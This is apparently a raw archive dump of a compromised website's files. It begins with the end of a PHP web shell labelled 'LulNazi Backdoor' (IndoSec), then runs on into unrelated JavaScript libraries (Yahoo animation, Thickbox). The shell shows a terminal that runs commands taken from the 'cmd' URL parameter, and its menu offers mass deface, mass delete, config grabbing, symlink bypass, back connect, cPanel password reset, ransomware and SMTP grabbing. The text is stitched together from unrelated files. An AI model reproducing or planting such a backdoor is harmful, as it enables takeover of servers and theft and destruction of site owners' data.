src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@8.18.0/dist/sweetalert2.all.min.js"></script> </head> <body class="bg-dark text-light"> <script> $(document).ready(function(){ $(window).scroll(function(){ if ($(this).scrollTop() > 700){ $(".scrollToTop").fadeIn(); }else{ $(".scrollToTop").fadeOut(); } }); $(".scrollToTop").click(function(){ $("html, body").animate({scrollTop : 0},1000); return false; }); }); $(document).ready(function(){ $('input[type="file"]').on("change", function(){ let filenames = []; let files = document.getElementById("customFile").files; if (files.length > 1){ filenames.push("Total Files (" + files.length + ")"); }else{ for (let i in files){ if (files.hasOwnProperty(i)){ filenames.push(files[i].name); } } } $(this).next(".custom-file-label").html(filenames.join(",")); }); }); var max_fields = 5; var x = 1; $(document).on('click', '#add_input', function(e){ if(x < max_fields){ x++; $('#output').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_file[]\" placeholder=\"Nama File...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>'); } $('#output').on("click",".remove", function(e){ e.preventDefault(); $(this).parent('#out').remove(); x--; repeat(); }) }); $(document).on('click', '#add_input1', function(e){ if(x < max_fields){ x++; $('#output1').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_folder[]\" placeholder=\"Nama Folder...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>'); } $('#output1').on("click",".remove", function(e){ e.preventDefault(); $(this).parent('#out').remove(); x--; repeat(); }) }); </script> <style> @import url(https://fonts.googleapis.com/css?family=Lato); @import url(https://fonts.googleapis.com/css?family=Quicksand); @import url(https://fonts.googleapis.com/css?family=Inconsolata); @media(min-width:767px){.scrollToTop{display:none !important;}} @media(max-width:767px){textarea{font-size:13px !important;}} input[type="text"],textarea {font-family: "Inconsolata", monospace;} body{margin:0;padding:0;font-family:"Lato";overscroll-behavior:none;} .infor{font-size:14px;color:#333!important;} .ds{color:#f00!important;word-wrap:break-word;} #tab table thead th{padding:5px;font-size:16px;white-space: nowrap;} #tab tr {border-bottom:1px solid #ccc;} #tab tr:hover{background:#5B6F7D;color:#fff;} #tab tr td{padding:5px 10px;white-space:nowrap;} .pinggir{text-align:left !important; padding-left: 4px !important;} #tab tr td .badge{font-size:13px;} .active,.active:hover{color:#00FF00;} a {font-family:"Quicksand"; color:white;} a:hover{color:dodgerBlue;} .badge{width:30px;transition:.3s;} .badge:hover{transform: scale(1.1);transition:.3s;} .ico {width:25px;} .ico2{width:30px;} .scrollToTop{ position:fixed; bottom:30px; right:30px; width:35px; height:35px; background:#262626; color:#fff; border-radius:15%; text-align:center; opacity:.5; } .scrollToTop:hover{color:#fff;} .up{font-size:25px;line-height:35px;} .lain{color:#888888;font-size:20px;margin-left:5px;top:1px;} .lain:hover{color:#fff;} .tambah{ width:35px; height:35px; line-height:35px; border:1px solid; border-radius:50%; text-align:center; } .fiture{margin:3px;} .tmp th {font-size:14px;} .tmp tr td{border:solid 1px #BBBBBB;text-align:center;font-size:13px;padding:2px 5px;} .tmp tr:hover{background:#5B6F7D; color:#fff;} .about{color:#000;} .about .card-body .img{ position: relative; background: url(https://i.postimg.cc/Wb1X4xNS/image.png); background-size: cover; width: 150px; height: 150px; } .butn { position: relative; text-align: center; padding: 3px; background:rgba(225,225,225,.3); -webkit-transition: background 300ms ease, color 300ms ease; transition: background 300ms ease, color 300ms ease; } input[type="radio"].toggle {display:none;} input[type="radio"].toggle + label {cursor:pointer;margin:0 2px;width:60px;} input[type="radio"].toggle + label:after { position: absolute; content: ""; top: 0; background: #fff; height: 100%; width: 100%; z-index: -1; -webkit-transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1); transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1); } input[type="radio"].toggle.toggle-left + label:after {left:100%;} input[type="radio"].toggle.toggle-right + label {margin-left:-5px;} input[type="radio"].toggle.toggle-right + label:after {left:-100%;} input[type="radio"].toggle:checked + label {cursor:default;color:#000;-webkit-transition:color 400ms;transition: color 400ms;} input[type="radio"].toggle:checked + label:after {left:0;} </style> <nav class="navbar static-top navbar-dark"> <button class="navbar-toggler"type="button" data-toggle="collapse" data-target="#info" aria-label="Toggle navigation"> <i style="color:#fff;" class="fa fa-navicon"></i> </button> <div class="collapse navbar-collapse" id="info"> <ul> <a href="https://facebook.com/IndoSecOfficial" class="lain"><i class="fa fa-facebook tambah"></i></a> <a href="https://www.instagram.com/indosec.id" class="lain"><i class="fa fa-instagram tambah"></i></a> <a href="https://www.youtube.com/IndoSec" class="lain"><i class="fa fa-youtube-play tambah"></i></a> <a href="https://github.com/indosecid" class="lain"><i class="fa fa-github tambah"></i></a> <a href="https://indosec.web.id" class="lain"><i class="fa fa-globe tambah"></i></a> </ul> </div> </nav> <?php echo '<div class="container"> <h1 class="text-center"><a href="https://facebook.com/IndoSecOfficial" style="color:#ffffff;">{ INDOSEC }</h1> <center><h5>LulNazi Backdoor</a></h5></center> <hr/> <div class="text-center"> <div class="d-flex justify-content-center flex-wrap"> <a href="?" class="fiture btn btn-danger btn-sm"><i class="fa fa-home"></i> Home</a> <a href="?dir='.$dir.'&aksi=upload" class="fiture btn btn-danger btn-sm"><i class="fa fa-upload"></i> Upload</a> <a href="?dir='.$dir.'&aksi=buat_file" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus-circle"></i> Buat File</a> <a href="?dir='.$dir.'&aksi=buat_folder" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus"></i> Buat Folder</a> <a href="?dir='.$dir.'&aksi=masdef" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Mass Deface</a> <a href="?dir='.$dir.'&aksi=masdel" class="fiture btn btn-danger btn-sm"><i class="fa fa-trash"></i> Mass Delete</a> <a href="?dir='.$dir.'&aksi=jumping" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Jumping</a> <a href="?dir='.$dir.'&aksi=config" class="fiture btn btn-danger btn-sm"><i class="fa fa-cogs"></i> Config</a> <a href="?dir='.$dir.'&aksi=adminer" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Adminer</a> <a href="?dir='.$dir.'&aksi=symlink" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-circle"></i> Symlink</a> <a href="?dir='.$dir.'&aksi=bctools" class="fiture btn btn-danger btn-sm"><i class="fas fa-network-wired"></i> Network</a> <a href="?dir='.$dir.'&aksi=resetpasscp" class="fiture btn btn-warning btn-sm"><i class="fa fa-key"></i> Auto Reset Cpanel</a> <a href="?dir='.$dir.'&aksi=auteduser" class="fiture btn btn-warning btn-sm"><i class="fas fa-user-edit"></i> Auto Edit User</a> <a href="?dir='.$dir.'&aksi=ransom" class="fiture btn btn-warning btn-sm"><i class="fab fa-keycdn"></i> Ransomware</a> <a href="?dir='.$dir.'&aksi=smtpgrab" class="fiture btn btn-warning btn-sm"><i class="fas fa fa-exclamation-circle"></i> SMTP Grabber</a> <a href="?dir='.$dir.'&aksi=bypascf" class="fiture btn btn-warning btn-sm"><i class="fas fa-cloud"></i> Bypass Cloud Flare</a> <a href="?dir='.$dir.'&aksi=zip_menu" class="fiture btn btn-warning btn-sm"><i class="fa fa-file-archive-o"></i> Zip Menu</a> <a href="?about" class="fiture btn btn-warning btn-sm"><i class="fa fa-info"></i> About Us</a> <a href="?keluar" class="fiture btn btn-warning btn-sm"><i class="fa fa-sign-out"></i> keluar</a> </div> </div> <div class="row"> <div class="col-md-5"><br/> <h5><i class="fa fa-terminal"></i>Terminal : </h5> <form> <input type="text" class="form-control" name="cmd" autocomplete="off" placeholder="id | uname -a | heked | lulnazi"> </form> <hr/> <h5><i class="fa fa-search"></i> Informasi : </h5> <div class="card table-responsive"> <div class="card-body"> <table class="table infor"> <tr> <td>PHP</td> <td> : '.$ver.'</td> </tr> <tr> <td>IP Server</td> <td> : '.$ip.'</td> </tr> <tr> <td>HDD</td> <td class="d-flex">Total : '.formatSize($total).' Free : '.formatSize($free).' ['.$pers.'%]</td> </tr> <tr> <td>Domain</td> <td>: '.$dom.'</td> </tr> <tr> <td>MySQL</td> <td>: '.$mysql.'</td> </tr> <tr> <td>cURL</td> <td>: '.$curl.'</td> </tr> <tr> <td>Mailer</td> <td>: '.$mail.'</td> </tr> <tr> <td>Disable Function</td> <td>: '.$show_ds.'</td> </tr> <tr> <td>Software</td> <td>: '.$sof.'</td> </tr> <tr> <td>Sistem Operasi</td> <td> : '.$os.'</td> </tr> </table> </div> </div><hr/> </div> <div class="col-md-7 mt-4">'; //keluar if (isset($_GET['keluar'])){ session_start(); session_destroy(); echo '<script>window.location="?";</script>'; } //cmd if(isset($_GET['cmd'])){ echo "<pre class='text-white'>".exe($_GET['cmd'])."</pre>"; exit; } //about if (isset($_GET['about'])){ about(); } //upload if ($_GET['aksi'] == 'upload'){ aksiUpload($dir); } //openfile if (isset($_GET['file'])){ $file = $_GET['file']; } $nfile = basename($file); //chmod if($_GET['aksi'] == 'chmod_file'){ chmodFile($dir,$file,$nfile); } //buat_file if ($_GET['aksi'] == 'buat_file'){ buatFile($dir,$imgfile); } //view if($_GET['aksi'] == 'view'){ view($dir,$file,$nfile,$imgfile); } //edit if($_GET['aksi'] == 'edit'){ editFile($dir,$file,$nfile,$imgfile); } //rename if($_GET['aksi'] == 'rename'){ renameFile($dir,$file,$nfile,$imgfile); } //Delete File if ($_GET['aksi'] == 'hapusf'){ hapusFile($dir,$file,$nfile); } $ndir = basename($dir); //chmod if($_GET['aksi'] == 'chmod_dir'){ chmodFolder($dir,$ndir); } //Add Folder if ($_GET['aksi'] == 'buat_folder' ){ buatFolder($dir,$imgfol); } //Rename Folder if ($_GET['aksi'] == 'rename_folder' ){ renameFolder($dir,$ndir,$imgfol); } //Delete Folder if ($_GET['aksi'] == 'hapus_folder' ){ deleteFolder($dir,$ndir); } /* * Fungsi_Tambahan * * * Mass Deface * IndoXploit */ if($_GET['aksi'] == 'masdef'){ aksiMasdef($dir,$file,$imgfol,$imgfile); } /* * mass delete * IndoXploit */ if($_GET['aksi'] == 'masdel'){ aksiMasdel($dir,$file,$imgfol,$imgfile); } /* * Jumping * IndoXploit */ if($_GET['aksi'] == 'jumping'){ aksiJump($dir,$file,$ip); } //Config if($_GET['aksi'] == 'config'){ aksiConfig($dir,$file); } //Bypass etc/passwd if($_GET['aksi'] == 'passwbypass'){ aksiBypasswd($dir,$file); } //Adminer if($_GET['aksi'] == 'adminer'){ aksiAdminer($dir,$file); } /* * Symlink * Kuda Shell */ if($_GET['aksi'] == 'symlink'){ aksiSym($dir,$file); } if($_GET['aksi'] == 'symread'){ aksiSymread($dir,$file); } if ($_GET['aksi'] == 'sym_404'){ sym404($dir,$file); } if ($_GET['aksi'] == 'sym_bypas'){ symBypass($dir,$file); } /* * Back Connect * Kuda Shell */ if($_GET['aksi'] == 'bctools'){ bcTool($dir,$file); } /* * Bypass Disable Function * Kuda Shell */ if($_GET['aksi'] == 'disabfunc'){ disabFunc($dir,$file); } /* * Auto Reset Cpanel * IndoSec -LulNazi- */ if ($_GET['aksi'] == 'resetpasscp'){ resetCp($dir); } /* * Auto Edit User * IndoXploit */ if($_GET['aksi'] == 'auteduser'){ autoEdit($dir,$file); } /* * Ransomware * IndoSec */ if ($_GET['aksi'] == 'ransom'){ ransom($dir,$file); } /* * SMTP Grabber * IndoXploit */ if ($_GET['aksi'] == 'smtpgrab'){ scj($dir); } //Bypass Cloud Flare if ($_GET['aksi'] == 'bypascf'){ bypasscf(); } /* * Zip Menu * IndoSec -LulNazi- */ if($_GET['aksi'] == 'zip_menu'){ zipMenu($dir,$file); } if(isset($_GET['path'])){ $path = $_GET['path']; chdir($path); }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); echo "Path : "; foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '<a href="?dir=/">/</a>'; continue; } if($pat == '') continue; echo '<a style="word-wrap:break-word;" href="?dir='; for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; } echo '">'.$pat.'</a>/'; } $scandir = scandir($path); echo " [ ".w($dir, perms($dir))." ]"; echo '<div id="tab"><table class="text-white mt-1 table-hover table-responsive"> <thead class="bg-info text-center"> <th class="text-left">File/folder</th> <th>Size</th> <th>Last Modified</th> <th>Permission</th> <th>Action</th> </thead>'; foreach($scandir as $dir){ $dtime = date("d/m/y G:i", filemtime("$dir/$dirx")); /* cek jika ini berbentuk folder */ /* cek jika nama folder karaker terlalu panjang */ if (strlen($dir) > 18){ $_dir = substr($dir, 0, 18)."..."; }else{ $_dir = $dir; } $_diir = $_dir; if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue; echo '<tr class="text-center"> <td class="pinggir">'.$imgfol.' <a href="?dir='.$path.'/'.$dir.'">'.$_diir.'</a></td> <td>--</td> <td>'.$dtime.'</td> <td> <a href="?dir='.$path.'/'.$dir.'&aksi=chmod_dir"> '; if(is_writable($path.'/'.$dir)) echo '<font color="#00ff00">'; elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">'; echo perms($path.'/'.$dir); if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font></a></td> <td><a title="Rename" class="badge badge-success" href="?dir='.$path.'/'.$dir.'&aksi=rename_folder"> <i class="fas fa-pen"></i> </a> <a title="Delete" class="badge badge-danger" href="?dir='.$path.'/'.$dir.'&aksi=hapus_folder"> <i class="fa fa-trash"></i> </a> </td> </tr>'; } foreach($scandir as $file){ $ftime = date("d/m/y G:i", filemtime("$path/$file")); /* cek jika ini berbentuk file */ if(!is_file($path.'/'.$file)) continue; echo '<tr class="text-center"> <td class="pinggir"><img src="'; /* set image berdasarkan extensi file */ $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if($ext == "php"){ echo 'https://image.flaticon.com/icons/png/128/337/337947.png"'; }elseif ($ext == "html"){ echo 'https://image.flaticon.com/icons/png/128/136/136528.png"'; }elseif ($ext == "css"){ echo 'https://image.flaticon.com/icons/png/128/136/136527.png"'; }elseif ($ext == "png"){ echo 'https://image.flaticon.com/icons/png/128/136/136523.png"'; }elseif ($ext == "jpg"){ echo 'https://image.flaticon.com/icons/png/128/136/136524.png"'; }elseif ($ext == "jpeg"){ echo 'http://i.imgur.com/e8mkvPf.png"'; }elseif($ext == "zip"){ echo 'https://image.flaticon.com/icons/png/128/136/136544.png"'; }elseif ($ext == "js"){ echo 'https://image.flaticon.com/icons/png/128/1126/1126856.png'; }elseif ($ext == "ttf"){ echo 'https://image.flaticon.com/icons/png/128/1126/1126892.png'; }elseif ($ext == "otf"){ echo 'https://image.flaticon.com/icons/png/128/1126/1126891.png'; }elseif ($ext == "txt"){ echo 'https://image.flaticon.com/icons/png/128/136/136538.png'; }elseif ($ext == "ico"){ echo 'https://image.flaticon.com/icons/png/128/1126/1126873.png'; }elseif ($ext == "conf"){ echo 'https://image.flaticon.com/icons/png/512/1573/1573301.png'; }elseif ($ext == "htaccess"){ echo 'https://image.flaticon.com/icons/png/128/1720/1720444.png'; }elseif ($ext == "sh"){ echo 'https://image.flaticon.com/icons/png/128/617/617535.png'; }elseif ($ext == "py"){ echo 'https://image.flaticon.com/icons/png/128/180/180867.png'; }elseif ($ext == "indsc"){ echo 'https://image.flaticon.com/icons/png/512/1265/1265511.png'; }elseif ($ext == "sql"){ echo 'https://img.icons8.com/ultraviolet/2x/data-configuration.png'; }elseif ($ext == "pl"){ echo 'http://i.imgur.com/PnmX8H9.png'; }elseif ($ext == "pdf"){ echo 'https://image.flaticon.com/icons/png/128/136/136522.png'; }elseif ($ext == "mp4"){ echo 'https://image.flaticon.com/icons/png/128/136/136545.png'; }elseif ($ext == "mp3"){ echo 'https://image.flaticon.com/icons/png/128/136/136548.png'; }elseif ($ext == "git"){ echo 'https://image.flaticon.com/icons/png/128/617/617509.png'; }elseif ($ext == "md"){ echo 'https://image.flaticon.com/icons/png/128/617/617520.png'; }else{ echo 'http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png'; } echo '" class="ico2"></img>'; /* cek jika karaker terlalu panjang */ if (strlen($file) > 25){ $_file = substr($file, 0, 25)."...-.".$ext; }else{ $_file = $file; } echo' <a href="?dir='.$path.'&aksi=view&file='.$path.'/'.$file.'">'.$_file.'</a></td> <td>'.formatSize(filesize($file)).'</td> <td>'.$ftime.'</td> <td><a href="?dir='.$path.'&aksi=chmod_file&file='.$path.'/'.$file.'" class="text-center">'; if(is_writable($path.'/'.$file)) echo '<font color="#00ff00">'; elseif(!is_readable($path.'/'.$file)) echo '<font color="red">'; echo perms($path.'/'.$file); if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font></a></td> <td class="d-flex"> <a title="Lihat" class="badge badge-info" href="?dir='.$path.'&aksi=view&file='.$path.'/'.$file.'"> <i class="fa fa-eye"></i> </a> <a title="Edit" class="badge badge-success" href="?dir='.$path.'&aksi=edit&file='.$path.'/'.$file.'"> <i class="far fa-edit"></i> </a> <a title="Rename" class="badge badge-success" href="?dir='.$path.'&aksi=rename&file='.$path.'/'.$file.'"> <i class="fa fa-pencil"></i> </a> <a title="Delete" class="badge badge-danger" href="?dir='.$path.'&aksi=hapusf&file='.$path.'/'.$file.'" title="Delete"> <i class="fa fa-trash"></i> </a> <a title="Download" class="badge badge-primary" href="?&dir='.$path.'&aksi=download&file='.$path.'/'.$file.'" title="Download"> <i class="fa fa-download"></i> </a> </td> </tr>'; } echo '</table></div><hr/> <center><a class="text-muted" href="https://facebook.com/IndoSecOfficial">Copyright 2019 { IndoSec } | [ LulNazi ]</a></center><br/>'; echo "<a href='#' class='scrollToTop'><i class='fa fa-arrow-up up' aria-hidden='true'></i></a>";?> </div> </div> </body> </html> animation.js 0000666 00000022741 15155054006 0007074 0 ustar 00 /* Copyright (c) 2006 Yahoo! Inc. All rights reserved. */ YAHOO.util.Anim=function(el,attributes,duration,method) {if(el){this.init(el,attributes,duration,method);}};YAHOO.util.Anim.prototype={doMethod:function(attribute,start,end){return this.method(this.currentFrame,start,end-start,this.totalFrames);},setAttribute:function(attribute,val,unit){YAHOO.util.Dom.setStyle(this.getEl(),attribute,val+unit);},getAttribute:function(attribute){return parseFloat(YAHOO.util.Dom.getStyle(this.getEl(),attribute));},defaultUnits:{opacity:' '},defaultUnit:'px',init:function(el,attributes,duration,method){var isAnimated=false;var startTime=null;var endTime=null;var actualFrames=0;var defaultValues={};el=YAHOO.util.Dom.get(el);this.attributes=attributes||{};this.duration=duration||1;this.method=method||YAHOO.util.Easing.easeNone;this.useSeconds=true;this.currentFrame=0;this.totalFrames=YAHOO.util.AnimMgr.fps;this.getEl=function(){return el;};this.setDefault=function(attribute,val){if(val=='auto'){switch(attribute){case'width':val=el.clientWidth||el.offsetWidth;break;case'height':val=el.clientHeight||el.offsetHeight;break;case'left':if(YAHOO.util.Dom.getStyle(el,'position')=='absolute'){val=el.offsetLeft;}else{val=0;} break;case'top':if(YAHOO.util.Dom.getStyle(el,'position')=='absolute'){val=el.offsetTop;}else{val=0;} break;default:val=0;}} defaultValues[attribute]=val;} this.getDefault=function(attribute){return defaultValues[attribute];};this.isAnimated=function(){return isAnimated;};this.getStartTime=function(){return startTime;};this.animate=function(){this.onStart.fire();this._onStart.fire();this.totalFrames=(this.useSeconds)?Math.ceil(YAHOO.util.AnimMgr.fps*this.duration):this.duration;YAHOO.util.AnimMgr.registerElement(this);var attributes=this.attributes;var el=this.getEl();var val;for(var attribute in attributes){val=this.getAttribute(attribute);this.setDefault(attribute,val);} isAnimated=true;actualFrames=0;startTime=new Date();};this.stop=function(){this.currentFrame=0;endTime=new Date();var data={time:endTime,duration:endTime-startTime,frames:actualFrames,fps:actualFrames/this.duration};isAnimated=false;actualFrames=0;this.onComplete.fire(data);};var onTween=function(){var start;var end=null;var val;var unit;var attributes=this['attributes'];for(var attribute in attributes){unit=attributes[attribute]['unit']||this.defaultUnits[attribute]||this.defaultUnit;if(typeof attributes[attribute]['from']!='undefined'){start=attributes[attribute]['from'];}else{start=this.getDefault(attribute);} if(typeof attributes[attribute]['to']!='undefined'){end=attributes[attribute]['to'];}else if(typeof attributes[attribute]['by']!='undefined'){end=start+attributes[attribute]['by'];} if(end!==null&&typeof end!='undefined'){val=this.doMethod(attribute,start,end);if((attribute=='width'||attribute=='height'||attribute=='opacity')&&val<0){val=0;} this.setAttribute(attribute,val,unit);}} actualFrames+=1;};this._onStart=new YAHOO.util.CustomEvent('_onStart',this);this.onStart=new YAHOO.util.CustomEvent('start',this);this.onTween=new YAHOO.util.CustomEvent('tween',this);this._onTween=new YAHOO.util.CustomEvent('_tween',this);this.onComplete=new YAHOO.util.CustomEvent('complete',this);this._onTween.subscribe(onTween);}};YAHOO.util.AnimMgr=new function(){var thread=null;var queue=[];var tweenCount=0;this.fps=200;this.delay=1;this.registerElement=function(tween){if(tween.isAnimated()){return false;} queue[queue.length]=tween;tweenCount+=1;this.start();};this.start=function(){if(thread===null){thread=setInterval(this.run,this.delay);}};this.stop=function(tween){if(!tween) {clearInterval(thread);for(var i=0,len=queue.length;i<len;++i){if(queue[i].isAnimated()){queue[i].stop();}} queue=[];thread=null;tweenCount=0;} else{tween.stop();tweenCount-=1;if(tweenCount<=0){this.stop();}}};this.run=function(){for(var i=0,len=queue.length;i<len;++i){var tween=queue[i];if(!tween||!tween.isAnimated()){continue;} if(tween.currentFrame<tween.totalFrames||tween.totalFrames===null) {tween.currentFrame+=1;if(tween.useSeconds){correctFrame(tween);} tween.onTween.fire();tween._onTween.fire();} else{YAHOO.util.AnimMgr.stop(tween);}}};var correctFrame=function(tween){var frames=tween.totalFrames;var frame=tween.currentFrame;var expected=(tween.currentFrame*tween.duration*1000/tween.totalFrames);var elapsed=(new Date()-tween.getStartTime());var tweak=0;if(elapsed<tween.duration*1000){tweak=Math.round((elapsed/expected-1)*tween.currentFrame);}else{tweak=frames-(frame+1);} if(tweak>0&&isFinite(tweak)){if(tween.currentFrame+tweak>=frames){tweak=frames-(frame+1);} tween.currentFrame+=tweak;}};} YAHOO.util.Bezier=new function() {this.getPosition=function(points,t) {var n=points.length;var tmp=[];for(var i=0;i<n;++i){tmp[i]=[points[i][0],points[i][1]];} for(var j=1;j<n;++j){for(i=0;i<n-j;++i){tmp[i][0]=(1-t)*tmp[i][0]+t*tmp[parseInt(i+1,10)][0];tmp[i][1]=(1-t)*tmp[i][1]+t*tmp[parseInt(i+1,10)][1];}} return[tmp[0][0],tmp[0][1]];};};YAHOO.util.Easing=new function(){this.easeNone=function(t,b,c,d){return b+c*(t/=d);};this.easeIn=function(t,b,c,d){return b+c*((t/=d)*t*t);};this.easeOut=function(t,b,c,d){var ts=(t/=d)*t;var tc=ts*t;return b+c*(tc+-3*ts+3*t);};this.easeBoth=function(t,b,c,d){var ts=(t/=d)*t;var tc=ts*t;return b+c*(-2*tc+3*ts);};this.backIn=function(t,b,c,d){var ts=(t/=d)*t;var tc=ts*t;return b+c*(-3.4005*tc*ts+10.2*ts*ts+-6.2*tc+0.4*ts);};this.backOut=function(t,b,c,d){var ts=(t/=d)*t;var tc=ts*t;return b+c*(8.292*tc*ts+-21.88*ts*ts+22.08*tc+-12.69*ts+5.1975*t);};this.backBoth=function(t,b,c,d){var ts=(t/=d)*t;var tc=ts*t;return b+c*(0.402*tc*ts+-2.1525*ts*ts+-3.2*tc+8*ts+-2.05*t);};};YAHOO.util.Motion=function(el,attributes,duration,method){if(el){this.initMotion(el,attributes,duration,method);}};YAHOO.util.Motion.prototype=new YAHOO.util.Anim();YAHOO.util.Motion.prototype.defaultUnits.points='px';YAHOO.util.Motion.prototype.doMethod=function(attribute,start,end){var val=null;if(attribute=='points'){var translatedPoints=this.getTranslatedPoints();var t=this.method(this.currentFrame,0,100,this.totalFrames)/100;if(translatedPoints){val=YAHOO.util.Bezier.getPosition(translatedPoints,t);}}else{val=this.method(this.currentFrame,start,end-start,this.totalFrames);} return val;};YAHOO.util.Motion.prototype.getAttribute=function(attribute){var val=null;if(attribute=='points'){val=[this.getAttribute('left'),this.getAttribute('top')];if(isNaN(val[0])){val[0]=0;} if(isNaN(val[1])){val[1]=0;}}else{val=parseFloat(YAHOO.util.Dom.getStyle(this.getEl(),attribute));} return val;};YAHOO.util.Motion.prototype.setAttribute=function(attribute,val,unit){if(attribute=='points'){YAHOO.util.Dom.setStyle(this.getEl(),'left',val[0]+unit);YAHOO.util.Dom.setStyle(this.getEl(),'top',val[1]+unit);}else{YAHOO.util.Dom.setStyle(this.getEl(),attribute,val+unit);}};YAHOO.util.Motion.prototype.initMotion=function(el,attributes,duration,method){YAHOO.util.Anim.call(this,el,attributes,duration,method);attributes=attributes||{};attributes.points=attributes.points||{};attributes.points.control=attributes.points.control||[];this.attributes=attributes;var start;var end=null;var translatedPoints=null;this.getTranslatedPoints=function(){return translatedPoints;};var translateValues=function(val,self){var pageXY=YAHOO.util.Dom.getXY(self.getEl());val=[val[0]-pageXY[0]+start[0],val[1]-pageXY[1]+start[1]];return val;};var onStart=function(){start=this.getAttribute('points');var attributes=this.attributes;var control=attributes['points']['control']||[];if(control.length>0&&control[0].constructor!=Array){control=[control];} if(YAHOO.util.Dom.getStyle(this.getEl(),'position')=='static'){YAHOO.util.Dom.setStyle(this.getEl(),'position','relative');} if(typeof attributes['points']['from']!='undefined'){YAHOO.util.Dom.setXY(this.getEl(),attributes['points']['from']);start=this.getAttribute('points');} else if((start[0]===0||start[1]===0)){YAHOO.util.Dom.setXY(this.getEl(),YAHOO.util.Dom.getXY(this.getEl()));start=this.getAttribute('points');} var i,len;if(typeof attributes['points']['to']!='undefined'){end=translateValues(attributes['points']['to'],this);for(i=0,len=control.length;i<len;++i){control[i]=translateValues(control[i],this);}}else if(typeof attributes['points']['by']!='undefined'){end=[start[0]+attributes['points']['by'][0],start[1]+attributes['points']['by'][1]];for(i=0,len=control.length;i<len;++i){control[i]=[start[0]+control[i][0],start[1]+control[i][1]];}} if(end){translatedPoints=[start];if(control.length>0){translatedPoints=translatedPoints.concat(control);} translatedPoints[translatedPoints.length]=end;}};this._onStart.subscribe(onStart);};YAHOO.util.Scroll=function(el,attributes,duration,method){if(el){YAHOO.util.Anim.call(this,el,attributes,duration,method);}};YAHOO.util.Scroll.prototype=new YAHOO.util.Anim();YAHOO.util.Scroll.prototype.defaultUnits.scroll=' ';YAHOO.util.Scroll.prototype.doMethod=function(attribute,start,end){var val=null;if(attribute=='scroll'){val=[this.method(this.currentFrame,start[0],end[0]-start[0],this.totalFrames),this.method(this.currentFrame,start[1],end[1]-start[1],this.totalFrames)];}else{val=this.method(this.currentFrame,start,end-start,this.totalFrames);} return val;} YAHOO.util.Scroll.prototype.getAttribute=function(attribute){var val=null;var el=this.getEl();if(attribute=='scroll'){val=[el.scrollLeft,el.scrollTop];}else{val=parseFloat(YAHOO.util.Dom.getStyle(el,attribute));} return val;};YAHOO.util.Scroll.prototype.setAttribute=function(attribute,val,unit){var el=this.getEl();if(attribute=='scroll'){el.scrollLeft=val[0];el.scrollTop=val[1];}else{YAHOO.util.Dom.setStyle(el,attribute,val+unit);}}; a_thickbox.js 0000666 00000030261 15155054006 0007224 0 ustar 00 /* * Thickbox 3.1 - One Box To Rule Them All. * By Cody Lindley (http://www.codylindley.com) * Copyright (c) 2007 cody lindley * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php */ //Arreglo por no se que problema con algunas versiones de explorer if(/MSIE (\d+\.\w*);/i.test(window.navigator.userAgent))jQuery.browser.version = parseFloat(RegExp.$1); var tb_pathToImage = "img/cargando.gif"; /*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/ //on page load call tb_init $(document).ready(function(){ tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox imgLoader = new Image();// preload image imgLoader.src = tb_pathToImage; }); //add thickbox to href & area elements that have a class of .thickbox function tb_init(domChunk){ $(domChunk).click(function(){ var t = this.title || this.name || null; var a = this.href || this.alt; var g = this.rel || false; tb_show(t,a,g); this.blur(); return false; }); } function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link try { if (typeof document.body.style.maxHeight === "undefined") {//if IE 6 $("body","html").css({height: "100%", width: "100%"}); $("html").css("overflow","hidden"); if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6 $("body").append("<iframe id='TB_HideSelect'></iframe><div id='TB_overlay'></div><div id='TB_window'></div>"); $("#TB_overlay").click(tb_remove); } }else{//all others if(document.getElementById("TB_overlay") === null){ $("body").append("<div id='TB_overlay'></div><div id='TB_window'></div>"); $("#TB_overlay").click(tb_remove); } } if(tb_detectMacXFF()){ $("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash }else{ $("#TB_overlay").addClass("TB_overlayBG");//use background and opacity } if(caption===null){caption="";} $("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' /></div>");//add loader to the page $('#TB_load').show();//show loader var baseURL; if(url.indexOf("?")!==-1){ //ff there is a query string involved baseURL = url.substr(0, url.indexOf("?")); }else{ baseURL = url; } var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/; var urlType = baseURL.toLowerCase().match(urlString); if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images TB_PrevCaption = ""; TB_PrevURL = ""; TB_PrevHTML = ""; 